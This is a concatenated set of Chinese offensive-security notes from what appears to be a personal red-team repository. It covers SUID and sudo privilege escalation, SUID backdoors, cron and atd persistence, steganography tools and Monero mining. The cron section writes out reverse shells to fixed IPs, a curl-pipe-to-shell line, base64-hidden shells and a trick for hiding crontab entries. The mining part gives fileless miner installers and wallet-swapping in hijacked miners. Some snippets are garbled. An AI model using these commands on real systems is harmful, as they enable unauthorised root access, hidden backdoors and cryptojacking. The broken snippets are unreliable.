指定输出文件名称。 49 | -i/--import [filename]: 导入外置字典 50 | 51 | #输出到标准屏幕 52 | python3 raincode.py -j backend.json -m model/backend.model 53 | #输出密码到文件 54 | python3 raincode.py -j backend.json -m model/backend.model -o result.txt 55 | #导入密码 56 | python3 raincode.py -j backend.json -m model/backend.model -i common/backend-password.txt 57 | ``` 58 | 59 | 60 | 61 | ## 附录-目录说明 62 | 63 | ### model 64 | 65 | 存储用于生成字典的核心模型文件。模型描述的是密码的结构。 66 | 67 | | 名称 | 作用 | 68 | | ---------------------- | ---------------- | 69 | | chinese-password.model | 中文密码模型 | 70 | | engish-password.model | 英语密码模型 | 71 | | backend-password.model | 后台常见密码模型 | 72 | 73 | ### db 74 | 75 | | 名称 | 作用 | 76 | | ------------------ | ----------------------- | 77 | | %m%d.txt | 4位月日-数字字典 | 78 | | %Y%m%d.txt | 6位年月日-数字字典 | 79 | | chinesename-l3.txt | 3位名字-字母字典 | 80 | | sfz_l4.txt | 某证后4位-字母字典 | 81 | | sfz_l6.txt | 某证后6位-字母字典 | 82 | | 百家姓.txt | 百家姓频数排序-字符字典 | 83 | 84 | 使用**db2json.py**将txt字典转化为可加入json文件中的材料。 85 | 86 | python3 db2json.py -i chinesename-l3.txt -n name > 1.json 87 | 88 | ### common 89 | 90 | | 名称 | 作用 | 91 | | -------------------------- | -------------------- | 92 | | chinese-password.txt | 国内高频弱口令 | 93 | | english-password.txt | 国外高频弱口令(暂缺) | 94 | | linux-account.txt | linux常见用户 | 95 | | backend-account.txt | 后台常见用户 | 96 | | backend-password.txt | 后台常见弱口令 | 97 | | backend-sqlinject-user.txt | 后台常见万能账户 | 98 | 99 | -------------------------------------------------------------------------------- /内网安全与后渗透/常用命令行操作.md: -------------------------------------------------------------------------------- 1 | # Windows 2 | 3 | ## 0x00 文件目录操作 4 | 5 | ### 1.查找文件 6 | 7 | cmd: 8 | 9 | ```cmd 10 | for /r 目录名 %变量名 in (匹配模式1,匹配模式2) do 命令 11 | for /r d: %i in (*) do @echo %i 12 | for /r d: %i in (*.txt,*.jpg) do @echo %i 13 | for /r d: %i in (*shell.jsp) do @echo %i 14 | ``` 15 | 16 | ### 2.查看文件内容 17 | 18 | cmd: 19 | 20 | ```cmd 21 | type "D:\www\shell.jsp" 22 | ``` 23 | 24 | powershell: 25 | 26 | ```powershell 27 | Get-Content "D:\www\shell.jsp" 28 | ``` 29 | 30 | ### 3.删除文件 31 | 32 | cmd: 33 | 34 | ```cmd 35 | #删文件 36 | del index.js 37 | #删文件夹 38 | rd app 39 | ``` 40 | 41 | powershell: 42 | 43 | ```powershell 44 | remove-item w.ps1 -Force -Recurse 45 | ``` 46 | 47 | ### 4.查看目录 48 | 49 | cmd: 50 | 51 | ```cmd 52 | #下载目录 53 | dir C:\Users\%username%\Downloads 54 | #桌面 55 | dir C:\Users\%username%\Desktop 56 | #微信 57 | dir C:\Users\%username%\Documents\WeChat Files\wx*\FileStorage\File\ 58 | #磁盘盘符数 59 | powershell -Command "[Environment]::GetLogicalDrives()" 60 | ``` 61 | 62 | 63 | 64 | ## 0x01 注册表 65 | 66 | ### 1.常见注册表项 67 | 68 | ```cmd 69 | #启动项 70 | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 71 | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 72 | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce 73 | #账户 74 | HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names 75 | REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa 76 | REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa /v LimitBlankPasswordUse 77 | #网口配置文件 78 | HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\Interfaces\ 79 | #隐藏文件置0 80 | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL 81 | #网络连接历史 82 | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\NetworkList\Profiles 83 | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\NetworkList\Signatures\Unmanaged 84 | ``` 85 | 86 | ### 2.查看 87 | 88 | cmd: 89 | 90 | ```cmd 91 | REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa 92 | REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa /v LimitBlankPasswordUse 93 | ``` 94 | 95 | powershell: 96 | 97 | ```powershell 98 | $key=Get-ItemProperty -Path "Registry::HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion" 99 | $key``.CommonFilesDir 100 | ``` 101 | 102 | ### 3.添加 103 | 104 | ```cmd 105 | reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "Keyname" /t REG_SZ /d "C:\Users\Administrator\Desktop\shell.exe" /f 106 | ``` 107 | 108 | ### 4.导出 109 | 110 | ```cmd 111 | reg export HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa AppBkUp.reg 112 | ``` 113 | 114 | ## -------------------------------------------------------------------------------- /权限提升/Linux提权/配置不当提权/suid.md: -------------------------------------------------------------------------------- 1 | # suid提权 2 | 3 | ## suid异常命令 4 | 5 | 下面这些命令当具有s权限时将能用于提权。 6 | 7 | ```shell 8 | chmod 6755 /bin/x 9 | ``` 10 | 11 | 12 | 13 | | 提权命令 | 路径 | 14 | | ------------------------------------------------------------ | ----------------- | 15 | | bash -p | /usr/bin/bash | 16 | | csh -b | /usr/bin/csh | 17 | | sh -p | /usr/bin/sh | 18 | | ksh -p | /usr/bin/ksh | 19 | | zsh | /usr/bin/zsh | 20 | | find /etc/passwd -exec bash -p \; | /usr/bin/find | 21 | | env /bin/sh -p | /usr/bin/env | 22 | | gdb -nx -ex 'python import os;os.execl("/bin/sh","sh","-p")' -ex quit | /usr/bin/gdb | 23 | | python -c 'import os;os.execl("/bin/sh","sh","-p")' | /usr/bin/python | 24 | | expect -c 'spawn /bin/sh -p; interact' | /usr/bin/expect | 25 | | xargs -a /dev/null sh -p | /usr/bin/xargs | 26 | | ip netns add foo
ip netns exec foo /bin/sh -p
# ip netns delete foo | /usr/sbin/ip | 27 | | strace -o /dev/null /bin/sh -p | /usr/bin/strace | 28 | | rsync -e 'sh -p -c "sh -p 0<&2 1>&2"' 127.0.0.1:/dev/null | /usr/bin/rsync | 29 | | setarch $(arch) /bin/sh -p | /usr/bin/setarch | 30 | | nice /bin/sh -p" | /usr/bin/nice | 31 | | CMD="/bin/sh"
php -r "pcntl_exec('/bin/sh', ['-p']);"stdbuf -i0 /bin/sh -p | usr/bin/stdbuf | 32 | | taskset 1 /bin/sh -p | /usr/bin/taskset | 33 | | tclsh exec /bin/sh -p <@stdin >@stdout 2>@stderr | /usr/bin/tclsh | 34 | | logsave /dev/null /bin/sh -i -p" | /usr/sbin/logsave | 35 | | ionice /bin/sh -p | /usr/bin/ionice | 36 | 37 | ## suid后门 38 | 39 | ### 1 利用系统内suid程序的副本 40 | 41 | 隐蔽性强,成本低,特别是起了冷门但有迷惑性的程序后。缺点是散列值肯定与系统内母本散列值一样,可能被检测到。 42 | 43 | ```shell 44 | root: 45 | cp /usr/bin/bash ~/.bashrc.bak -a 46 | chmod 6755 ~aplyc1a/.bashrc.bak 47 | #.bashrc.bak即为一个suid后门 48 | ``` 49 | 50 | 51 | 52 | ```shell 53 | root: 54 | cp /usr/bin/env /usr/bin/lshwloc 55 | chmod 6755 /usr/bin/lshwloc 56 | ``` 57 | 58 | ### 2 编译suid shell 59 | 60 | ```shell 61 | //gcc suid.c ...; chmod 6755 ...; 62 | #include 63 | #include 64 | #include 65 | 66 | int main(){ 67 | setuid(0); 68 | setgid(0); 69 | system("/bin/bash"); 70 | return 0; 71 | } 72 | ``` 73 | 74 | 75 | 76 | -------------------------------------------------------------------------------- /持久控制/Linux/Linux-计划任务后门.md: -------------------------------------------------------------------------------- 1 | 计划任务是一类帮助计算机在满足某些时间条件下执行命令的服务。最常见的是crond,此外还有anacron,atd等多种服务。使用这些计划任务进行持久化控制时一定要确认服务有没有开启。不少服务默认RHEL系下是打开的,但是Debian系下是关闭状态。 2 | 3 | 4 | 5 | ## 计划任务持久化 6 | 7 | 计划任务持久化常被用于进行定时反弹shell及挖矿矿工的生命周期管理。虽然计划任务持久化在实际场景下用的非常多,甚至很多人都觉得这块的攻击手法很固定,但是实际上还是可以再深究探讨的。 8 | 9 | ### crond 10 | 11 | ```shell 12 | crontab -l | { cat; echo "*/1 * * * * bash -i >& /dev/tcp/192.168.44.128/2333 0>&1"; } | crontab - 13 | #使用crontab -l 或cat时有隐藏效果 14 | (crontab -l;printf "*/1 * * * * bash -i >& /dev/tcp/192.168.44.128/5555 0>&1;\rno crontab for `whoami`%100c\n")|crontab - 15 | ``` 16 | 17 | 上面是最常见的两个计划任务反弹shell命令,命令广为人知,且使用效果好。但是计划任务能反弹shell如果停留在这个层面那就太水了。 18 | 19 | crontab命令实际的作用文件是: 20 | 21 | ```shell 22 | #RHEL: 23 | /var/spool/cron/`whoami` 24 | 25 | #Debian: 26 | /var/spool/cron/crontabs/`whoami` 27 | ``` 28 | 29 | 30 | 31 | 而crond服务进行反弹shell的话除了上面的目录以外还能部署到/etc/crontab及/etc/cron.*/ 32 | 33 | ```shell 34 | echo ' * */5 * * * root ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oPort=31337' >> /etc/crontab 35 | ``` 36 | 37 | 部署到/etc/cron.*/目录下的文件是一种更为隐蔽的方案。下面给出一些具体实例 38 | 39 | ```shell 40 | echo '*/1 * * * * root curl http://1.1.1.1:8083/a|sh' >> /etc/cron.d/man-db 41 | echo '*/1 * * * * root echo L2Jpbi9iYXNoIC1pID4gL2Rldi90Y3AvMTkyLjE2OC4xMy41OC8xMDA5MSAwPCYxIDI+JjEK|base64 -d|sh' >> /etc/cron.d/0hourly 42 | echo '*/1 * * * * root echo L2Jpbi9iYXNoIC1pID4gL2Rldi90Y3AvMTkyLjE2OC4xMy41OC8xMDA5MSAwPCYxIDI+JjEK|base64 -d|sh' >> /etc/cron.d/man-db 43 | ``` 44 | 45 | ### atd 46 | 47 | 使用atd也能模拟出定时任务的效果,只要让它执行完需要执行的命令后在加入新的at任务到atd服务中即可。下面给出两个例子: 48 | 49 | **例子1**:本地用shell脚本实现atd版的周期定时反弹shell 50 | 51 | ```shell 52 | echo "at now+1min <> /tmp/... 53 | echo "bash /tmp/..." >> /tmp/... 54 | echo "EOF" >> /tmp/... 55 | echo "bash -i >& /dev/tcp/192.168.44.123/10092 0>&1;" >> /tmp/... 56 | 57 | 58 | at now+1min <> /tmp/... 68 | echo "curl http://192.168.44.123:10091/a | sh" >> /tmp/... 69 | echo "EOF" >> /tmp/... 70 | echo "bash -i >& /dev/tcp/192.168.44.123/10092 0>&1;" >> /tmp/... 71 | python3 -m http.server 10091 72 | 73 | #victim 74 | at now+1min < -o -f 28 | LSBSteg.py decode -i -o 29 | ``` 30 | 31 | #### 1.4 OurScret 32 | 33 | 强大的多功能隐写工具,支持对文件、文本数据的加密。 34 | 35 | #### 1.5 QuickCrypto 36 | 37 | 总的来说这一工具的功能非常强大。隐写及加密隐写只是这一工具的小功能之一。 38 | 39 | ![2021-06-23_144634](https://raw.githubusercontent.com/aplyc1a/blogs_picture/master/2021-06-23_144634.jpg) 40 | 41 | ![2021-06-23_144534](https://raw.githubusercontent.com/aplyc1a/blogs_picture/master/2021-06-23_144534.jpg) 42 | 43 | #### 1.6 S-Tool 44 | 45 | 先拖载体文件(GIF\BMP\WAV),再拖附件。这时会弹出窗口提示输入密码。在新窗口点右键保存即可。 46 | 47 | ![2021-06-23_145617](https://raw.githubusercontent.com/aplyc1a/blogs_picture/master/2021-06-23_145617.jpg) 48 | 49 | 解密时,窗口点右键,"Reveal",输入密码后解密。 50 | 51 | #### 1.7 其他 52 | 53 | ##### AudioStego 54 | 55 | https://github.com/danielcardeenas/AudioStego 56 | 57 | 58 | 59 | ### 2 音频隐写 60 | 61 | #### 2.1-1 CoagulaLight(wav隐写) 62 | 63 | 图片转声音 64 | 65 | ![2021-06-22_201258](https://raw.githubusercontent.com/aplyc1a/blogs_picture/master/2021-06-22_201258.jpg) 66 | 67 | 点击转换按钮时,左齿轮带噪声,右齿轮不带。save as sound即可。 68 | 69 | #### 2.1-2 spectrology(wav隐写) 70 | 71 | 可以用于将图片藏到频谱中,先要将图片转为wav,这里可以使用CoagulaLight完成。 72 | 73 | python spectrology.py test.bmp -b 13000 -t 19000 74 | 75 | https://github.com/solusipse/spectrology 76 | 77 | ![2021-06-23_153714](https://raw.githubusercontent.com/aplyc1a/blogs_picture/master/2021-06-23_153714.jpg) 78 | 79 | #### 2.2 Deepsound 80 | 81 | 加密 82 | 83 | ![2021-06-22_194417](https://raw.githubusercontent.com/aplyc1a/blogs_picture/master/2021-06-22_194417.jpg) 84 | 85 | 解密 86 | 87 | ![2021-06-22_195656](https://raw.githubusercontent.com/aplyc1a/blogs_picture/master/2021-06-22_195656.jpg) 88 | 89 | ![2021-06-22_195903](https://raw.githubusercontent.com/aplyc1a/blogs_picture/master/2021-06-22_195903.jpg) 90 | 91 | 92 | 93 | #### 1.3 MP3Stego(并不适合藏大量数据) 94 | 95 | 工具问题很多。 96 | 97 | http://www.petitcolas.net/steganography/mp3stego/ 98 | 99 | 加密:encode -E hidden_text.txt -P 123456zxc Myth.wav qq.mp3 100 | 101 | 解密:Decode.exe -X -P 123456zxc qq.mp3 102 | 103 | #### 1.4 mp3stegz(mp3隐写) 104 | 105 | ![image-20210623112855574](https://raw.githubusercontent.com/aplyc1a/blogs_picture/master/image-20210623112855574.png) 106 | 107 | 108 | 109 | 110 | 111 | ## 0x01 隐写术分析 112 | 113 | #### 1 audacity 114 | 115 | 用于对音频进行隐写分析。 116 | 117 | 常见隐写方式如下: 118 | 119 | 1.频域或波形谱上有莫斯码。 120 | 121 | 2.频域图形为文本消息 122 | 123 | 3.声道上直接携带了数据 124 | 125 | 4.波形谱波形图可以分离出二进制的数据 126 | 127 | https://www.sqlsec.com/2018/01/ctfwav.html 128 | 129 | #### 2 MP3 Steno 130 | 131 | zsteg 132 | 133 | #### 3 视频分解 134 | 135 | ffmpeg -i WARS.mp4 -f image2 image%d.jpg 136 | 137 | #### 4 二维码分析 138 | 139 | -------------------------------------------------------------------------------- /持久控制/Linux/monero挖矿研究.md: -------------------------------------------------------------------------------- 1 | # 门罗币挖矿研究 2 | 3 | [TOC] 4 | 5 | ## 1 钱包 6 | 7 | 官方的在线钱包申请地址: https://wallet.mymonero.com/ 8 | 9 | 官方的线下钱包客户端:https://www.getmonero.org/downloads/ 10 | 11 | 在线查询门罗币的钱包地址状态:https://www.supportxmr.com/ 12 | 13 | 14 | ## 2 矿池 15 | 16 | 门罗的各种矿池:https://miningpoolstats.stream/monero 17 | 18 | 找矿池的好处是无需同步区块数据,挖矿相对容易,但是得给矿主交税。并且,想要提现到余额需要挖够一定的数值门槛。 19 | 20 | 鱼池(xmr.f2pool.com:13531)和猫池(mine.c3pool.com:13333)是两个比较出名的矿池。 21 | 22 | ## 3 部署 23 | 24 | ### 3.1 手工编译—xmr-stak 25 | 26 | xmr-stak本身提供了已经编译好的二进制程序,但是其中含有抽税,因此要手动编译更改之。 27 | 28 | ```shell 29 | git clone https://github.com/fireice-uk/xmr-stak 30 | nano xmrstak/donate-level.hpp #改流水抽成为0 31 | apt-get intall cmake hwloc openssl libjsonrpccpp-server0 libmicrohttpd12 32 | #cmake . -DCUDA_ENABLE=OFF -DOpenCL_ENABLE=OFF -DMICROHTTPD_ENABLE=OFF -DOpenSSL_ENABLE=OFF -DHWLOC_ENABLE=OFF 33 | cmake . -DCUDA_ENABLE=OFF -DOpenCL_ENABLE=OFF 34 | make install && cd bin 35 | ./xmr-stak 首次使用会配置各参数 36 | ``` 37 | 38 | 若出现“Error: MEMORY ALLOC FAILED: mmap failed”: 39 | 40 | 运行命令:sysctl -w vm.nr_hugepages=12 41 | 42 | ### 3.2 手工编译—xmr 43 | 44 | xmr本身提供了已经编译好的二进制程序,但是其中含有抽税,因此要手动编译更改之。 45 | 46 | ```shell 47 | git clone https://github.com/xmrig/xmrig.git 48 | apt-get install libssl-dev libhwloc-dev 49 | sed -i 's/kDefaultDonateLevel = 1/kDefaultDonateLevel = 0/g' xmrig/src/donate.h 50 | sed -i 's/kMinimumDonateLevel = 1/kMinimumDonateLevel = 0/g' xmrig/src/donate.h 51 | mkdir -p xmrig/build && cd xmrig/build 52 | cmake ..; make 53 | ``` 54 | 55 | ### 3.3 运行 56 | 57 | 以上两软件运行时都会依赖config.json或运行时配置命令行参数。 58 | 59 | 编辑挖矿软件的config.json,修改其中的如下选项: 60 | 61 | url:矿池地址 62 | 63 | user:自己钱包地址 64 | 65 | pass:随意 66 | 67 | ### 3.4 无文件型挖矿工具 68 | 69 | 一些矿池还提供了无文件挖矿脚本脚本,如下: 70 | 71 | **powershell 无文件挖矿** 72 | 73 | ```powershell 74 | powershell -Command "$wc = New-Object System.Net.WebClient; $tempfile = [System.IO.Path]::GetTempFileName(); $tempfile += '.bat'; $wc.DownloadFile('http://download.c3pool.com/xmrig_setup/raw/master/setup_c3pool_miner.bat', $tempfile); & $tempfile AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA; Remove-Item -Force $tempfile" 75 | ``` 76 | 77 | **linux 无文件挖矿** 78 | 79 | ```shell 80 | curl -s -L http://download.c3pool.com/xmrig_setup/raw/master/setup_c3pool_miner.sh | LC_ALL=en_US.UTF-8 bash -s AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 81 | ``` 82 | 83 | 84 | 85 | ## 4 收益 86 | 87 | ### 4.1 矿池收益查询: 88 | 89 | https://c3pool.com/cn/ 90 | 91 | https://www.f2pool.com/xmr/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 92 | 93 | ### 4.2 各种币的交易价查询: 94 | 95 | https://whattomine.com/ 顶部给出了各币的当前汇率 96 | 97 | https://miningpoolstats.stream/ price列给出了当前各币汇率 98 | 99 | ### 4.3 门罗币收益计算器 100 | 101 | https://www.babaofan.com/miner/xmr.html 102 | 103 | ### 4.4 提现 104 | 105 | 等你挖到了一定量的 xmr 之后,矿池会自动给你转账到你对应的门罗币钱包地址里面。这个时候你就可以找一个交易所进行提现了,比如:币安网,或者 gate.io 都可以。等你的挖到的xmr 卖出去之后你就可以收到人民币了。也就是提现了。 106 | 107 | ## 5 其他 108 | 109 | ### 5.1 黑吃黑 110 | 111 | 网上的样本:1296062aacb4a313ee0af032d23d72eb config.json 112 | 113 | ```powershell 114 | #把别人的换成自己的: 115 | #sed -i "s/old/new/g" config.json 116 | sed -i "s/4AzQYXMowpLSbZsm6ngvg1DhTYjsmp8qDeD7rm6rUY3DK9Hza8DpBTCSjZ2rgrTM3RdqnpUZRP8nqWtf923P7urB4QgQfp7/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/g" config.json 117 | sed -i "s/pool.xmr.pt:9000/xmr.f2pool.com:13531/g" config.json 118 | ``` 119 | ### 5.2 xmr定制研究 120 | 121 | 开源的xmr挖矿程序有两种运行方式,一种是裸运行(会检索并加载配置文件config.json),一种是指定参数运行。[改了一下代码]: (https://github.com/aplyc1a/xmrig),让它直接硬编码进去好了。 122 | 123 | ```shell 124 | find ./ -type f -exec sed -i "s/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/自己的钱包地址/g" {} \; 125 | mkdir -p xmrig/build && cd xmrig/build 126 | 127 | #常规编译 128 | cmake ..; make 129 | #带debug的编译 130 | cmake .. -DWITH_DEBUG_LOG=true -DWITH_INTERLEAVE_DEBUG_LOG=true -DHWLOC_DEBUG=true -DCMAKE_BUILD_TYPE=Debug ; make 131 | ``` 132 | ### 5.3 网上资料 133 | 134 | [挖矿教程](https://blog.f2pool.com/zh/mining-tutorial/xmr) 135 | 136 | [门罗币官网](https://getmonero.org/) 137 | 138 | [区块浏览器](https://xmrchain.net/) 139 | 140 | [区块浏览器](https://moneroblocks.info/) 141 | 142 | 自己搭建矿池 https://blog.csdn.net/wab719591157/article/details/79256612 143 | 144 | 关于门罗 https://www.xmr-zh.com/tech/wallet-tech.html -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # SecNote 2 | 3 | 安全笔记。构建我个人的网络安全知识框架。不断扩充中... 4 | 5 | 菜鸡在路上... 6 | 7 | ## 0x00 躲避检测 8 | 9 | ### 1 隐藏 10 | 11 | [1] [渗透测试中的身份隐藏](https://github.com/aplyc1a/blogs/blob/master/躲避检测/渗透测试中的身份隐藏.md) 12 | 13 | ### 2 绕过 14 | 15 | ### 3 免杀 16 | 17 | [1] [基本二进制免杀](https://github.com/aplyc1a/blogs/blob/master/躲避检测/二进制免杀技术研究.md) 18 | 19 | ## 0x01 信息收集 20 | 21 | ### 1 人 22 | 23 | \[1] [自然人信息社工](https://github.com/aplyc1a/blogs/blob/master/信息收集/自然人信息社工.md) 24 | 25 | ### 2 企业 26 | 27 | \[1] [企业资产信息收集](https://github.com/aplyc1a/blogs/blob/master/信息收集/企业目标资产信息收集.md) 28 | 29 | ## 0x02 入口突破 30 | 31 | ### 1 web服务 32 | 33 | ### 2 钓鱼邮件 34 | 35 | ### 3 字典 36 | 37 | \[1] [社工字典生成器RainCode](https://github.com/aplyc1a/blogs/blob/master/入口突破/社工字典生成器RainCode.md) 38 | 39 | \[2] [口令模型分析](https://github.com/aplyc1a/blogs/blob/master/入口突破/自然人口令常见模式.md) 40 | 41 | ## 0x03 权限提升 42 | 43 | ### 1 Linux提权 44 | 45 | #### 1.1 配置不当提权 46 | 47 | \[1] [suid提权](https://github.com/aplyc1a/blogs/blob/master/权限提升/Linux提权/配置不当提权/suid.md) 48 | 49 | \[2] [sudo提权](https://github.com/aplyc1a/blogs/blob/master/权限提升/Linux提权/配置不当提权/sudo.md) 50 | 51 | \[3] [shell脚本定时任务提权](https://github.com/aplyc1a/blogs/blob/master/权限提升/Linux提权/配置不当提权/shell脚本定时任务提权.md) 52 | 53 | \[4] [shell脚本调用权限继承提权](https://github.com/aplyc1a/blogs/blob/master/权限提升/Linux提权/配置不当提权/shell脚本调用权限继承提权.md) 54 | 55 | \[5] [sudo脚本篡改提权](https://github.com/aplyc1a/blogs/blob/master/权限提升/Linux提权/配置不当提权/sudo脚本篡改提权.md) 56 | 57 | \[6] [sudo脚本参数提权](https://github.com/aplyc1a/blogs/blob/master/权限提升/Linux提权/配置不当提权/sudo脚本参数提权.md) 58 | 59 | \[7] [环境变量劫持提权](https://github.com/aplyc1a/blogs/blob/master/权限提升/Linux提权/配置不当提权/环境变量劫持提权.md) 60 | 61 | \[8] [软链接提权](https://github.com/aplyc1a/blogs/blob/master/权限提升/Linux提权/配置不当提权/软链接提权.md) 62 | 63 | #### 1.2 漏洞提权 64 | 65 | ### 2 Windows提权 66 | 67 | ## 0x04 内网与后渗透 68 | 69 | ### 1 信息与数据搜集 70 | 71 | \[1] [getshell后的基本信息收集](https://github.com/aplyc1a/blogs/blob/master/内网安全与后渗透/getshell后的基本信息收集.md) 72 | 73 | \[2] [敏感数据搜集](https://github.com/aplyc1a/blogs/blob/master/内网安全与后渗透/敏感数据搜集.md) 74 | 75 | \[3] [Windows常用命令行操作](https://github.com/aplyc1a/blogs/blob/master/内网安全与后渗透/常用命令行操作.md) 76 | 77 | ### 2 通道构建 78 | 79 | ### 3 扫描探测 80 | 81 | ### 4 权限提升 82 | 83 | ### 5 横向移动 84 | 85 | ### 6 数据回传 86 | 87 | ### 7 接管域控 88 | 89 | ### 8 系统破坏 90 | 91 | ## 0x05 持久控制 92 | 93 | ### 1 Linux 94 | 95 | #### 1.1 挖矿 96 | 97 | \[1] [门罗挖矿技术研究](https://github.com/aplyc1a/blogs/blob/master/持久控制/Linux/monero挖矿研究.md) 98 | 99 | #### 1.2 后门 100 | 101 | \[1] [Linux $PATH劫持命令后门](https://github.com/aplyc1a/blogs/blob/master/持久控制/Linux/Linux-PATH环境变量抢占后门.md) 102 | 103 | \[2] [Linux 后门账户添加](https://github.com/aplyc1a/blogs/blob/master/持久控制/Linux/Linux-后门账户.md) 104 | 105 | \[3] [Linux SSHWrapper(过时)](https://github.com/aplyc1a/blogs/blob/master/持久控制/Linux/Linux-SSHWrapper后门.md) 106 | 107 | \[4] [Linux (x)inetd后门(过时)](https://github.com/aplyc1a/blogs/blob/master/持久控制/Linux/Linux-(x)inetd后门.md) 108 | 109 | \[5] [Linux $PROMPT_COMMAND后门(过时)](https://github.com/aplyc1a/blogs/blob/master/持久控制/Linux/Linux-PROMPT_COMMAND后门.md) 110 | 111 | \[6] [Linux 计划任务后门族(新)](https://github.com/aplyc1a/blogs/blob/master/持久控制/Linux/Linux-计划任务后门.md) 112 | 113 | \[7] [Linux SSH软链接后门(新)](https://github.com/aplyc1a/blogs/blob/master/持久控制/Linux/Linux-SSH软链接后门) 114 | 115 | \[8] [Linux 别名后门(新)](https://github.com/aplyc1a/blogs/blob/master/持久控制/Linux/Linux-各种别名后门.md) 116 | 117 | \[9] [Linux OpenSSH后门(新)](https://github.com/aplyc1a/blogs/blob/master/持久控制/Linux/定制化OpenSSH后门.md) 118 | 119 | \[10] [Linux PAM后门(参考)](https://github.com/aplyc1a/blogs/blob/master/持久控制/Linux/Linux-PAM后门制作.md) 120 | 121 | \[11] [Linux systemd后门](https://github.com/aplyc1a/blogs/blob/master/持久控制/Linux/Linux-systemd服务后门.md) 122 | 123 | \[12] [Linux-fake命令偷密码(新)](https://github.com/aplyc1a/blogs/blob/master/持久控制/Linux/Linux-fake命令偷密码.md) 124 | 125 | \[12] [Linux-内存执行ELF技术总结(新)](https://github.com/aplyc1a/blogs/blob/master/持久控制/Linux/Linux-内存执行ELF.md) 126 | 127 | #### 1.3 勒索 128 | 129 | #### 1.4 隐蔽通信 130 | 131 | \[1] [ICMP隐蔽shell-p1ngp0ng](https://github.com/aplyc1a/blogs/blob/master/内网安全与后渗透/p1ngp0ng.md) 132 | 133 | \[2] [DNS隐蔽shell-DNShell](https://github.com/aplyc1a/blogs/blob/master/内网安全与后渗透/DNShell.md) 134 | 135 | \[3] [NTP隐蔽shell-NTPShell](https://github.com/aplyc1a/blogs/blob/master/内网安全与后渗透/NTPShell.md) 136 | 137 | ## 0x06 取证溯源 138 | 139 | \[1] [Linux 入侵痕迹取证-1](https://github.com/aplyc1a/blogs/blob/master/取证溯源/Linux取证-(1).md) 140 | 141 | \[2] [Linux 入侵痕迹取证-2](https://github.com/aplyc1a/blogs/blob/master/取证溯源/Linux取证-(2).md) 142 | 143 | \[3] [Linux 入侵痕迹取证-3](https://github.com/aplyc1a/blogs/blob/master/取证溯源/Linux取证-(3).md) 144 | 145 | \[4] [Windows 入侵痕迹取证](https://github.com/aplyc1a/blogs/blob/master/取证溯源/Windows取证.md) 146 | 147 | \[5] [攻击溯源下的信息收集](https://github.com/aplyc1a/blogs/blob/master/取证溯源/攻击溯源下的信息收集.md) 148 | 149 | ## 0x07 审查对抗 150 | 151 | ### 1 反审查 152 | 153 | \[1] [匿名与反审查技术](https://github.com/aplyc1a/blogs/blob/master/审查对抗/反审查技术/反审查技术.md) 154 | 155 | \[2] [隐写术](https://github.com/aplyc1a/blogs/blob/master/审查对抗/反审查技术/隐写术.md) 156 | 157 | ### 2 司法审查 -------------------------------------------------------------------------------- /权限提升/Linux提权/配置不当提权/sudo.md: -------------------------------------------------------------------------------- 1 | # sudo提权 2 | 3 | 基本上都要动/etc/sudoers,很容易在取证时被发现。 4 | 5 | ## sudo配置不当 6 | 7 | | 命令 | 类型 | 8 | | ------------------------------------------------------------ | ---------------- | 9 | | root: echo "aplyc1a ALL=(root) ALL" >> /etc/sudoers | sudo配置不当提权 | 10 | | root: echo "aplyc1a ALL=(ALL:ALL) ALL" >> /etc/sudoers | sudo配置不当提权 | 11 | | root: echo "aplyc1a ALL=(ALL:ALL) NOPASSWD:/usr/bin/vi" >> /etc/sudoers | sudo配置不当提权 | 12 | 13 | ## sudo命令提权 14 | 15 | ```shell 16 | echo "aplyc1a ALL=(root) NOPASSWD:/usr/bin/*,/usr/sbin/*" >> /etc/sudoers 17 | ``` 18 | 19 | | 命令 | 类型 | 20 | | ------------------------------------------------------------ | ------------ | 21 | | aplyc1a: sudo zip ./7.zip /tmp -T --unzip-command="sh -c /bin/bash" | sudo命令提权 | 22 | | aplyc1a: sudo tar cf /dev/null test.tar --checkpoint=1 --checkpoint-action=exec=/bin/bash | sudo命令提权 | 23 | | aplyc1a: sudo more /etc/rsyslog.conf
!/bin/bash | sudo命令提权 | 24 | | aplyc1a: sudo less /etc/rsyslog.conf
!/bin/bash | sudo命令提权 | 25 | | aplyc1a: sudo man ssh
